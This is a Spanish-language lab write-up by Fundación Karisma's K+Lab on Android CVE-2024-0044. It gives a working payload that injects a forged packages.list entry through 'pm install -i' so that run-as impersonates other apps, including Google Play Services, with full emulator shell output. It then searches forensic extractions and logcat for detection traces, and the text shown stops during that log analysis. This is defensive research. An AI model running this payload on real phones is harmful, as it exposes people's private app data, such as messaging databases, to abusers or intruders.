-[ Experimento 0x00 - Explorando los rastros de CVE-2024-0044 ]-

Por. And3s para el K+Lab de la Fundación Karisma
Este escrito se distribuye con una licencia Creative Commons CC BY-SA (Reconocimiento - Compartir Igual)

–[ ToC ]–

0x01 Introducción 0x02 La vulnerabilidad 0x03 Posibles usos de esta vulnerabilidad 0x04 Exploit (Teoría) 0x05 Probar el exploit y recolectar datos 0x06 Encontrar rastros del exploit 0x07 Crear reglas 0x08 El final

—[ 0x01 Introducción ]—

Espero que este sea el primero de muchos experimentos con vulnerabilidades en Android (inicialmente). La idea de este experimento es tomar una vulnerabilidad en Android, entenderla, explotarla y hacer un análisis que nos permita encontrar rastros de la explotación de dicha vulnerabilidad. Luego, intentar crear reglas Yara o STIX2 que permitan su detección con herramientas como MVT.

Sabemos de las dificultades de este método para la detección de amenazas en Android, ya que probablemente el insumo más importante para encontrar rastros de explotación sean los logs del sistema y, debido a cuestiones de diseño de Android, dichos logs no sobreviven mucho tiempo. Están diseñados como un “ring buffer” en memoria. Esto hace que la información se sobrescriba rápidamente y los rastros que se puedan encontrar en estos registros se pierdan en muy poco tiempo.

Sin embargo, creemos que este es un paso importante en el entendimiento de las amenazas a las que está expuesto Android y es también un primer paso para avanzar en técnicas que nos permitan superar el problema del tamaño de los logs en Android para análisis forense.

En este Experimento usaremos la vulnerabilidad CVE-2024-0044, descubierta por el equipo de seguridad de Meta y parchada en marzo de 2024. Es una vulnerabilidad muy sencilla de explotar y que requiere condiciones muy especiales para ser usada, pero igualmente útil, por ejemplo, en sistemas de extracción forense como los de Cellebrite.

—[ 0x02 La vulnerabilidad ]—

Esta vulnerabilidad, relativamente reciente, afecta a Android en sus versiones 12, 12L y 13; para poder explotarla se requiere acceso a la shell de ADB. Fue parchada en AOSP en marzo de 2024. Más información técnica sobre este parche se puede encontrar aquí.

La vulnerabilidad existe en un comando de la shell de Android llamado run-as (principalmente). Este comando permite ejecutar otros comandos a nombre de otras aplicaciones, siempre y cuando esa aplicación tenga el modo debug activado. El modo debug se usa principalmente en los entornos de desarrollo de aplicaciones, para, por ejemplo, poder acceder a los archivos en el directorio data de la aplicación, que normalmente no sería accesible desde la terminal con el usuario que ejecuta la shell.

Las aplicaciones que normalmente corremos en nuestros dispositivos tienen la opción de modo debug desactivada, porque no son versiones de desarrollo sino releases.

La explotación CVE-2024-0044 permite ejecutar comandos a nombre de otras aplicaciones y, de esta forma, acceder, por ejemplo, a los archivos privados de una aplicación; algo que en el modelo de seguridad de Android no debería ser posible. Además, esta vulnerabilidad también puede usarse para escalar privilegios.

La vulnerabilidad reside (inicialmente) en el comando pm (PackageManager) de la shell de ADB y se debe a que pm no sanea la entrada del argumento -i (installer), permitiendo pasar caracteres especiales, por ejemplo '\n' (nueva línea) o espacios. En Android, la información de los paquetes instalados se guarda en dos archivos principalmente: /data/system/packages.xml y /data/system/packages.list. Cuando se escribe la información en packages.xml, esta se sanea correctamente, pero la que se escribe en packages.list, no. Esto quiere decir que podemos escribir “nuevas líneas” en packages.list suplantando entradas legítimas de aplicaciones instaladas. Resulta entonces que el comando run-as usa packages.list para obtener información de las aplicaciones a nombre de las cuales se va a ejecutar, entre ello si la aplicación es debuggable o no. Si logramos escribir una entrada en este archivo con los datos de una aplicación (nombre del paquete, User ID, Directorio de Data, etc.) también podemos hacer que la opción de “debuggable” aparezca activa para el comando run-as, permitiendo entonces ejecutar comandos a nombre de esa aplicación.

Pero eso no es todo.

La defensa en profundidad de Android, que incluye chequeos adicionales en el comando run-as y la asignación de contextos/reglas de SELinux tanto a aplicaciones (procesos) como a archivos, haría que esta vulnerabilidad solo fuese explotable para aplicaciones con contexto untrusted_app (es decir, las aplicaciones comunes y corrientes instaladas desde alguna Store o side-loaded en el teléfono) pero no para aplicaciones con contextos como priv_app (aplicación privilegiada) o platform_app (aplicación de la plataforma), que tienen más privilegios y manejan aspectos más críticos del sistema. Los chequeos que hace run-as para tener esta restricción incluyen, por ejemplo, verificar si el dueño del directorio data de la aplicación que va a correr corresponde al usuario (User ID) asignado a la aplicación y, como de cualquier forma lo que se ejecute con run-as correrá en el contexto run-as_app, existe una restricción que no permite usar la syscall stat() sobre un archivo o directorio marcado con el contexto privapp_data_file (contexto asignado a los directorios data de aplicaciones privilegiadas). Por tanto, este checkeo fallaría para aplicaciones privilegiadas. Peerooo, existe un directorio para el cual run-as hace un caso especial: /data/user/0. Para este hace algunas revisiones especiales, pero NO revisa si el User ID de la app es el dueño del directorio data. Entonces, es posible usar el directorio /data/user/0 como directorio data de la aplicación “falsa” (inyectada en packages.list) y run-as no verá ningún problema para ejecutar comandos a nombre de esa aplicación. ¡Ñanks!

Esta vulnerabilidad fue calificada con un 7.8 en el sistema CVSS, que la clasifica con gravedad: alta.

Nota: Este es un esfuerzo por tratar de explicar esta vulnerabilidad de mi parte, un n00b. Para las explicaciones más oficiales, es mejor consultar los informes publicados por Meta sobre esta vulnerabilidad:

–[ 0x03 Posibles usos de esta vulnerabilidad ]–

Esta vulnerabilidad, aunque ya requiere accesos importantes al dispositivo explotable (como poder usar ADB, que ya es mucho), rompe el modelo de seguridad de Android, donde los datos de una aplicación deberían ser inaccesibles, incluso para el mismo usuario del dispositivo.

Explotando esta vulnerabilidad es posible, por ejemplo, sacar la base de datos completa de WhatsApp, tal y como se explica en este artículo:

Además, según explican los informes de Meta, gracias al hecho de poder actuar como priv_app, se obtiene acceso de escritura a carpetas donde se guarda “código” que usan aplicaciones normales y del sistema. Específicamente, se refieren a archivos ODEX/VDEX que se encuentran en el directorio /data/user_de/0/com.google.android.gms/app_chimera/m/*/oat/ de GMS (Google Mobile Services). Como con esta vulnerabilidad es posible hacerse pasar por el usuario asignado a la aplicación com.google.android.gms, se pueden reemplazar archivos con código no firmado que es utilizado ampliamente en teléfonos con GMS habilitado (la mayoría, diría yo). Esto permite dos cosas:

TODO: El reemplazo de archivos ODEX/VDEX cacheados es una técnica muy interesante y espero que podamos probarla pronto en algún Experimento.

Para dispositivos forenses, por ejemplo, los fabricados por Cellebrite, esta vulnerabilidad puede ser útil en la extracción de información. Recordemos que muchos de estos dispositivos forenses tienen capacidades para romper la clave de acceso a los teléfonos o que, en procedimientos policiales, el acceso al teléfono puede ser forzado con amenazas o violencia. Esto lograría las condiciones necesarias para explotar esta vulnerabilidad. Además, el hecho de poder lograr persistencia da la oportunidad de infectar el teléfono con malware que corra en condiciones privilegiadas.

En otros contextos (sociales), esta vulnerabilidad podría usarse, por ejemplo, por parejas abusivas para extraer bases de datos de aplicaciones de mensajería. Una prueba de concepto (PoC) para este caso de uso es pública y se puede encontrar aquí.

–[ 0x04 Exploit (teoría) ]–

[En esta sección se explicará el exploit, pero en la siguiente (Probar el exploit y recolectar datos) tendremos más detalles prácticos de la explotación.]

Esta vulnerabilidad fue escogida para este primer experimento, entre otras razones, por lo fácil que es explotarla. Veamos.

El artículo de Meta sobre esta vulnerabilidad provee una PoC casi lista para usar en solo 4 líneas de código:

1
2
3
4
5
6
7
8
9
# Pretty ugly way to get the package's UID, but I couldn't find a simpler one.
UID=$(pm list packages -U | sed -n "s/^package:$1 uid://p")

# This is the line we inject...
PAYLOAD="@null
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# ...and this is how we inject it.
pm install -i "$PAYLOAD" any-app.apk

(Tomado de https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html el 9 de Enero de 2025)

Este código está hecho como un script de bash, sin embargo, no funciona así no más, pero revisemos cada parte para entender qué hace:

  1. Obtener el UID (User ID) de la aplicación que queremos suplantar:

    UID=$(pm list packages -U | sed -n "s/^package:$1 uid://p")
    

      Acá la variable $1 (el primer argumento del script) se reemplaza por el nombre completo de la aplicación, por ejemplo: com.example.vulnerable0 o com.google.android.gms.
    Si se está en la shell de ADB, se puede ejecutar de la siguiente manera:

    pm list packages -U | sed -n "s/^package:com.example.vulnerable0 uid://p"
    

      Para este ejemplo, supondremos que la salida de este comando fue: 10147.

  2. Preparar la línea que vamos a inyectar en packages.list, para eso usaremos la variable PAYLOAD:

    # This is the line we inject...
    PAYLOAD="@null
    victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    

      El primer @null será el installer que se le pasará a la opción -i de pm y luego viene una nueva línea con la entrada que se inyectará en packages.list. Para este caso, victim debe reemplazarse por el nombre de la aplicación que queremos suplantar. Luego, $UID lo reemplazamos con el resultado del paso 1. Después, viene un 1 que es precisamente donde engañamos a run-as para hacerle creer que la aplicación es debuggable. Luego tenemos /data/user/0 como el directorio data de la aplicación; usamos este porque funciona para cualquier aplicación en el contexto de esta vulnerabilidad. Después, default:targetSdkVersion=28 se usa para derivar el dominio de SELinux y, en este caso, se pone de manera genérica que funciona para cualquier aplicación que use API >= 28. El resto de argumentos, según el artículo de Meta, no son relevantes para run-as y yo tampoco investigué qué eran.

    Para efectos prácticos, nuestra PAYLOAD quedaría así:

    PAYLOAD="@null
    com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    

     

  3. Usando nuestra PAYLOAD, instalamos una app cualquiera usando pm. Según las pruebas hechas, esta aplicación no puede ser debuggable:

    pm install -i "$PAYLOAD" any-app.ap
    

     

  4. Podemos probar si el exploit funcionó listando los archivos privados de la aplicación víctima:

    run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable
    

      Si obtenemos un listado de archivos, ¡voilá!, el exploit funcionó.

Pero vayamos a los detalles de la práctica: usar un emulador, y hacer todo el proceso en un ambiente controlado.

–[ 0x05 Probar el exploit y recolectar datos ]–

Para este experimento se usó el Virtual Device Manager que viene con Android Studio para correr una imagen de un Pixel 4 con API 31 (Android 12) con Google Play Services (sin root). En principio se probó con el mismo modelo, pero con API 33 (Android 13), y al parecer la imagen instalada ya tenía la actualización que corrige esta vulnerabilidad (exactamente esa actualización).

TODO: Aprender a instalar imágenes en el emulador con niveles de parche anteriores a los que vienen por defecto.

Se creó una app de prueba, vacía, que no hace nada, llamada dummyApp, para ser usada como la app que se instala en el último paso de la explotación. Se compiló como release para que funcione en este experimento.

Se creó otra app, igualmente vacía, para probar con una aplicación que corriera en el dominio de SELinux untrusted_app. Esta app se llama vulnerable0 (com.example.vulnerable0). Igualmente, se compiló como release para que no sea debuggable.

Con el emulador arriba y adb conectado, abrimos una shell (adb shell), luego instalamos vulnerable0 en el emulador y empezamos:

Chequeos preliminares

  1. Nivel de parcheo:

    emulator64_x86_64_arm64:/ $ getprop ro.build.version.security_patch
    2021-12-01
    emulator64_x86_64_arm64:/ $
    

      Tenemos que el último parche instalado en esta máquina es el del 12 de enero de 2021. Esta vulnerabilidad funciona para Android 12 y 13 con un nivel de parche menor a 2024-03-01. Por lo tanto, todo debería funcionar.

  2. Probemos ahora, precisamente, la seguridad que pretendemos traspasar. Primero intentaremos listar los archivos del directorio data de vulnerable0 desde la shell y luego intentamos usar run-as para hacer lo mismo. Veamos qué pasa:

    emulator64_x86_64_arm64:/ $ ls -al /data/data/com.example.vulnerable0/
    ls: /data/data/com.example.vulnerable0/: Permission denied
    
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/
    run-as: package not debuggable: com.example.vulnerable0
    emulator64_x86_64_arm64:/ $
    

      Como podemos ver, desde la shell recibimos un Permission denied y run-as se queja de que la aplicación no es debuggable y se niega a ejecutar el comando. Es lo esperado.

Primera extracción forense

Con el teléfono en un estado “limpio”, solo con vulnerable0 instalada, podemos hacer una extracción forense (con androidqf) para poder luego encontrar diferencias con otra extracción realizada después de ejecutar el exploit. Este paso sigue siendo un problema abierto, ya que las extracciones hechas por androidqf u otros sistemas diferirán en muchas cosas, y esas diferencias, probablemente la mayoría de las veces no indiquen nada. Pero hagámoslo, esto es un experimento.

  1. Corremos androidqf. En la pregunta del backup, escogemos everything, y en la de bajar copias de las aplicaciones escogemos Do not download anything.

    $ ./androidqf_v1.7_linux_amd64
    
    androidqf-log.ansi
    
    		androidqf - Android Quick Forensics
    		https://github.com/botherder/androidqf
    
    In order to use androidqf, the device needs to be authorized and have USB debugging enabled.
    Please follow the these instructions if you haven't configured the device yet:
      https://developer.android.com/studio/debug/dev-options#enable
    
    Started new acquisition c144c4e6-290e-4172-97e9-58139749e374
    Collecting device properties...
    Collecting logcat...
    Collecting list of running processes...
    Collecting list of services...
    Collecting device settings...
    Collecting device diagnostic information. This might take a while...
    Would you like to take a backup of the device?
    * Everything
    Generating a backup with argument -all. Please check the device to authorize the backup...
    Backup completed!
    Collecting system logs...
    Failed to pull log file /proc/last_kmsg: adb: error: failed to stat remote object '/proc/last_kmsg': No such file or directory
    Collecting information on installed apps. This might take a while...
    Found a total of 179 installed packages
    Would you like to download copies of all apps or only non-system ones?
    * Do not download any
    Acquisition completed!
    Press Enter to finish ...
    $
    

      Tomamos nota del nombre de la adquisición; para este caso: c144c4e6-290e-4172-97e9-58139749e374.

Correr el Exploit

¡Al fin! Vamos a probar ese exploit, inicialmente tratando de suplantar a vulnerable0:

  1. Subir dummyApp al emulador para poder usarla más adelante. En mi caso, en una shell de la compu (no la del emulador), ejecutamos el siguiente comando cambiando las rutas a las que correspondan al ambiente de pruebas:

    $ adb push ~/AndroidStudioProjects/dummyApp/app/release/app-release.apk /data/local/tmp
    /home/and3s/AndroidStudioProjects/dummyApp/app/release/app-release.apk: 1 file pushed, 0 skipped. 269.2 MB/s (4823022 bytes in 0.017s)
    $
    

      Esto dejará nuestra app en /data/local/tmp/ dentro del emulador.

  2. Averigüemos qué usuario fue asignado a la aplicación com.example.vulnerable0:

    emulator64_x86_64_arm64:/ $ pm list packages -U | grep com.example.vulnerable0
    package:com.example.vulnerable0 uid:10147
    

     

  3. Preparemos la PAYLOAD que vamos a pasar a pm cuando instalemos dummyApp y que inyectará el archivo packages.list con la entrada falsificada. En este caso, es recomendable armar la PAYLOAD en un editor de textos y luego pegarla en la shell del emulador. Así se vería al final:

    emulator64_x86_64_arm64:/ $ PAYLOAD="@null
    > com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null"
    emulator64_x86_64_arm64:/ $
    

      Lo que hemos hecho es crear una variable de entorno llamada PAYLOAD, construida de la forma en que se explicó más arriba. Sin embargo, acá hay una diferencia: usamos el directorio data (/data/data/com.example.vulnerable0) original de la aplicación vulnerable0, y no /data/user/0, simplemente para variar, ya que en la siguiente explotación usaremos ese directorio para suplantar una aplicación privilegiada.

  4. Solo resta instalar una app cualquiera con pm y pasar $PAYLOAD como argumento a la opción -i y, como paquete, pasar /data/local/tmp/app_release.apk que contiene nuestra dummyApp.

    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/app-release.apk
    Success
    emulator64_x86_64_arm64:/ $
    

     

  5. Uuuj, ¡no se quejó! Veamos si ahora sí podemos listar los archivos del directorio data de vulnerable0 usando run-as:

    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 touch /data/data/com.example.vulnerable0/this
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/
    total 52
    drwx------   5 u0_a147 u0_a147        4096 2025-01-09 16:17 .
    drwxrwx--x 183 system  system        12288 2025-01-09 16:13 ..
    drwxrws--x   2 u0_a147 u0_a147_cache  4096 2025-01-09 15:02 cache
    drwxrws--x   2 u0_a147 u0_a147_cache  4096 2025-01-09 15:02 code_cache
    drwxrwx--x   2 u0_a147 u0_a147        4096 2025-01-09 15:02 files
    -rw-rw-rw-   1 u0_a147 u0_a147           0 2025-01-09 16:17 this
    emulator64_x86_64_arm64:/ $
    

      ¡OMG! Podemos listarlo y además escribir en él. El primer comando touch crea un archivo vacío en el directorio de la aplicación y cuando listamos el contenido podemos ver el archivo, confirmando que, al menos, tenemos permisos de lectura y escritura en ese directorio.

  6. Ahora intentemos suplantar una aplicación privilegiada: vayamos con com.google.android.gms. Así se vería la shell haciéndolo para esta aplicación:

    emulator64_x86_64_arm64:/ $ pm list packages -U | grep com.google.android.gms
    package:com.google.android.gms uid:10099
    
    emulator64_x86_64_arm64:/ $ PAYLOAD="@null
    m> com.google.android.gms 10099 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    
    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/app-release.apk
    Success
    
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms touch /data/user_de/0/com.google.android.gms/app_chimera/m/this
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ls -al /data/user_de/0/com.google.android.gms/app_chimera/m/
    total 84
    drwx--x--x 10 u0_a99 u0_a99 4096 2025-01-09 16:28 .
    drwxrwx--x  4 u0_a99 u0_a99 4096 2025-01-09 14:53 ..
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000a
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000b
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000c
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000d
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000e
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000f
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 00000010
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:53 00000011
    -rw-rw-rw-  1 u0_a99 u0_a99    0 2025-01-09 16:28 this
    emulator64_x86_64_arm64:/ $
    

      Como podemos ver, podemos suplantar al usuario de la aplicación de Google Mobile Services que tiene un nivel de privilegios importante.

Hemos ejecutado el exploit con éxito.

Segunda y tercera extracción

En este punto se hace otra extracción para tratar de identificar cambios o registros que puedan indicar que esta vulnerabilidad fue explotada. Hacemos una extracción inmediatamente después de ejecutar el exploit y otra después de reiniciar el dispositivo. No tengo idea si esto servirá para algo, pero hagámoslo. Al final quedan 3 backups, en este caso:

  1. c144c4e6-290e-4172-97e9-58139749e374 –> Backup con el teléfono “limpio”
  2. 0b694fe4-bba1-4736-bf7e-8e48decfaab4 –> Backup luego de ser explotado
  3. f061a297-3356-4d1f-986f-c1b662e4948f –> Backup luego de ser reiniciado

Chequeos posteriores

Ya que tenemos las extracciones para mirar más tarde, por ahora hagamos algunas revisiones a ver qué más encontramos en la superficie.

  1. Chequear si el exploit sobrevivió al reboot:

    $ adb shell
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ls -al /data/user_de/0/com.google.android.gms/app_chimera/m/
    total 84
    drwx--x--x 10 u0_a99 u0_a99 4096 2025-01-09 16:28 .
    drwxrwx--x  4 u0_a99 u0_a99 4096 2025-01-09 14:53 ..
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000a
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000b
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000c
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000d
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000e
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000f
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:52 00000010
    drwx--x--x  2 u0_a99 u0_a99 4096 2025-01-09 14:53 00000011
    -rw-rw-rw-  1 u0_a99 u0_a99    0 2025-01-09 16:28 this
    emulator64_x86_64_arm64:/ $
    

      Sí, sobrevivió.

  2. Ahora veamos si la explotación con vulnerable0 persiste o se perdió con la segunda explotación:

    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/
    run-as: package not debuggable: com.example.vulnerable0
    1|emulator64_x86_64_arm64:/ $
    

    Ups, el exploit de vulnerable0 ya no funciona.

  3. Por curiosidad, miremos los contextos/dominios/etiquetas de SELinux:

    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ps -Z
    LABEL                          USER            PID   PPID     VSZ    RSS WCHAN            ADDR S NAME
    u:r:runas_app:s0:c99,c256,c51+ u0_a99        21991  21946 10860044  3352 0                   0 R ps
    emulator64_x86_64_arm64:/ $
    

      Entre los muchos detalles, se nota que el comando se ejecuta bajo el contexto de runas_app, pero el USER es u0a99, o sea, com.google.android.gms. En los informes de Meta se comenta que es _raro que si se corre como runas_app se puedan leer archivos y escribir en directorios que son privapp_data_file.

–[ 0x06 Encontrar Rastros del exploit ]–

De todo este experimento, esta es probablemente la parte más experimental.

Primero, tratemos de usar diff para encontrar diferencias entre las extracciones. Como dijimos anteriormente, algunos archivos de la extracción se diferenciarán mucho, como logcat.txt, dumpsys.txt o processes.txt, por lo cual los excluiremos del diff. Por otro lado, backup.ab es un archivo binario, generalmente comprimido, que no tiene mucho sentido diferenciarlo de esta manera, entonces también lo dejamos por fuera. Con estas consideraciones, el comando final para comparar el directorio 1 y el directorio 2 sería así:

$ diff --color --exclude="logcat.txt" --exclude="dumpsys.txt" --exclude="processes.txt" --exclude="backup.ab" c144c4e6-290e-4172-97e9-58139749e374/ 0b694fe4-bba1-4736-bf7e-8e48decfaab4/
Common subdirectories: c144c4e6-290e-4172-97e9-58139749e374/apks and 0b694fe4-bba1-4736-bf7e-8e48decfaab4/apks
diff --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' c144c4e6-290e-4172-97e9-58139749e374/getprop.txt 0b694fe4-bba1-4736-bf7e-8e48decfaab4/getprop.txt
9c9
< [cache_key.get_packages_for_uid]: [-7428564554431353658]
---
> [cache_key.get_packages_for_uid]: [-7428564554431353639]
11c11
< [cache_key.is_compat_change_enabled]: [-7428564554431353657]
---
> [cache_key.is_compat_change_enabled]: [-7428564554431353643]
16c16
< [cache_key.package_info]: [-7428564554431353656]
---
> [cache_key.package_info]: [-7428564554431353640]
Common subdirectories: c144c4e6-290e-4172-97e9-58139749e374/logs and 0b694fe4-bba1-4736-bf7e-8e48decfaab4/logs
diff --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' c144c4e6-290e-4172-97e9-58139749e374/packages.json 0b694fe4-bba1-4736-bf7e-8e48decfaab4/packages.json
1138a1139,1156
>         "name": "com.example.dummyapp",
>         "files": [
>             {
>                 "path": "/data/app/~~4TuK5bpJwXYFyiQeknCiFw==/com.example.dummyapp-fSxuUX0oLeplFV4wIVlUsA==/base.apk",
>                 "local_name": "",
>                 "md5": "52b1d95a251f11ca988fc5d33b2d9652",
>                 "sha1": "1cf20d805e71afa66d96e2a8aae960db0f95ae05",
>                 "sha256": "206ebc046c576cb802ca60188025840e5b4417cf68e8956d9998fc62c416810d",
>                 "sha512": "1998586511d3c6cf6cea94bcb9e6cc4fb90815655b3ac265b54a15a2fe56a47ecd6f4c73c4bffd9479cfe9f898d832fe8dabec0be514e4ebd9deff2179db75dc"
>             }
>         ],
>         "installer": "null",
>         "uid": 0,
>         "disabled": false,
>         "system": false,
>         "third_party": true
>     },
>     {
$

  Podemos observar que solo dos archivos cambian: getprop.txt y packages.json.

En getprop.txt vemos que dos propiedades cambian con la ejecución. Llama la atención cache_key.get_packages_for_uid, ya que nuestra vulnerabilidad tiene que ver con paquetes y sus UIDs. Sin embargo, no tengo idea de qué pueda significar este valor, y una búsqueda rápida no me muestra nada que pueda usar como un IOC de que esta vulnerabilidad fue explotada. TODO: Averiguar más.

packages.json, por su lado, solo muestra que efectivamente se instaló dummyapp, pero teniendo en cuenta que la aplicación que se instale en la explotación puede ser cualquiera, esto no parece material para IOC.

Ahora revisemos si hay algún cambio entre la segunda extracción y la tercera:

$ diff -r --color --exclude="logcat.txt" --exclude="dumpsys.txt" --exclude="processes.txt" --exclude="backup.ab"  0b694fe4-bba1-4736-bf7e-8e48decfaab4/ f061a297-3356-4d1f-986f-c1b662e4948f
diff -r --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' 0b694fe4-bba1-4736-bf7e-8e48decfaab4/getprop.txt f061a297-3356-4d1f-986f-c1b662e4948f/getprop.txt
3,7c3,7
< [cache_key.bluetooth.get_adapter_connection_state]: [-8336966882211243241]
< [cache_key.bluetooth.get_bond_state]: [-8336966882211243245]
< [cache_key.bluetooth.get_profile_connection_state]: [-8336966882211243240]
< [cache_key.bluetooth.get_state]: [-8336966882211243239]
< [cache_key.bluetooth.is_offloaded_filtering_supported]: [-8336966882211243244]
---
> [cache_key.bluetooth.get_adapter_connection_state]: [7769638675921631831]
> [cache_key.bluetooth.get_bond_state]: [7769638675921631827]
> [cache_key.bluetooth.get_profile_connection_state]: [7769638675921631832]
> [cache_key.bluetooth.get_state]: [7769638675921631833]
> [cache_key.bluetooth.is_offloaded_filtering_supported]: [7769638675921631828]
9c9
< [cache_key.get_packages_for_uid]: [-7428564554431353639]
---
> [cache_key.get_packages_for_uid]: [-7428564554431353631]
16c16
< [cache_key.package_info]: [-7428564554431353640]
---
> [cache_key.package_info]: [-7428564554431353632]
$

  Salvo que las intrigantes cache_key.get_packages_for_uid y cache_key.package_info vuelven a cambiar, no se ve nada interesante.

Exploremos el archivo dumpsys.txt de la segunda extracción y busquemos rastros del exploit con los siguientes comandos en el directorio de la extracción:

No pongo las salidas de estos comandos acá porque son muy largas. De cualquier forma, que yo no haya encontrado nada no quiere decir que no pueda haber algo que sirva como IOC. El archivo dumpsys.txt de la extracción hecha por androidqf es el resultado de ejecutar adb dumpsys (no sé con qué argumentos), y es de suponer que, al ser usado para revisar “el estado” del sistema, igual que los logs de Android, tiene un estado muy volátil.

Revisemos ahora logcat.txt: Busquemos vulnerable0:

$ grep -n vulnerable0 logcat.txt
...
69065:01-09 15:06:35.622 10298 10298 I auditd  : type=1400 audit(0.0:41): avc: denied { getattr } for comm="ls" path="/data/data/com.example.vulnerable0" dev="dm-5" ino=123423 scontext=u:r:shell:s0 tcontext=u:object_r:app_data_file:s0:c147,c256,c512,c768 tclass=dir permissive=0
69066:01-09 15:06:35.622 10298 10298 W ls      : type=1400 audit(0.0:41): avc: denied { getattr } for path="/data/data/com.example.vulnerable0" dev="dm-5" ino=123423 scontext=u:r:shell:s0 tcontext=u:object_r:app_data_file:s0:c147,c256,c512,c768 tclass=dir permissive=0
...

  Este es solo un trozo de la salida del comando donde podemos ver nuestra prueba inicial de listar el directorio data de vulnerable0, y se negó. Además de eso, no hay más referencias que tengan que ver con el exploit.

Ahora busquemos com.google.android.gms: con el comando grep -n com.google.android.gms logcat.txt. La salida de este comando es demasiado larga para ser revisada manualmente, ni siquiera cabe en la terminal.

Intentemos buscar el pedacito particular del exploit "1 /data/user/0" con el comando grep -n "1 /data/user/0" logcat.txt, pero el resultado es nada, cero, vacío.

Por ahora no encontramos rastro del exploit en las extracciones que hicimos. Pero hagamos otra prueba.

Hay 2 exploits públicos para esta vulnerabilidad: la PoC de Meta y el exploit que mencionamos más arriba que automatiza la vulnerabilidad para sacar las conversaciones de WhatsApp. Acá lo pongo de nuevo. En este exploit, la aplicación que se instala es F-Droid.apk (en vez de dummyApp). Entonces:

  1. Bajamos el APK de F-Droid de la página de F-Droid y lo subimos al emulador con adb push F-Droid.apk /data/local/tmp/.
  2. Ejecutamos el exploit de nuevo usando el APK de F-Droid; hacemos una extracción y miramos qué pasa.

    emulator64_x86_64_arm64:/ $ echo $PAYLOAD
    @null com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null
    
    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
    Success
    
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/user/0/com.example.vulnerable0
    total 48
    drwx------   5 u0_a147 u0_a147        4096 2025-01-10 09:51 .
    drwxrwx--x 184 system  system        12288 2025-01-10 10:24 ..
    drwxrws--x   2 u0_a147 u0_a147_cache  4096 2025-01-10 09:51 cache
    drwxrws--x   2 u0_a147 u0_a147_cache  4096 2025-01-10 09:51 code_cache
    drwxrwx--x   2 u0_a147 u0_a147        4096 2025-01-10 09:51 files
    emulator64_x86_64_arm64:/ $
    

      Lo que vemos aquí es la ejecución del exploit para suplantar vulnerable0 usando los dos directorios posibles: el mágico /data/user/0 y el original de la aplicación /data/data/com.example.vulnerable0. En ambos casos probamos que el exploit haya funcionado haciendo ls -al al directorio data de vulnerable0.

    Después de esta ejecución, hacemos una extracción con androidqf.

Una revisión parecida a la que hicimos a las otras extracciones muestra todo muy parecido, menos en logcat.txt. Veamos un extracto de la salida de grep -n vulnerable0 logcat.txt:

$ grep vulnerable0 logcat.txt
...
01-10 10:15:57.232   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,23123968,8736768,12241920,64311296,0,15,6]
01-10 10:20:51.852   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,23157760,8736768,12255232,64311296,0,15,1]
01-10 10:24:57.082   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:24:57.085   530   576 I am_wtf  : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid]
01-10 10:32:02.620   530   575 I am_pss  : [5708,10147,com.example.vulnerable0,22683648,8073216,12301312,63647744,0,15,4]
01-10 10:36:56.879   530   609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
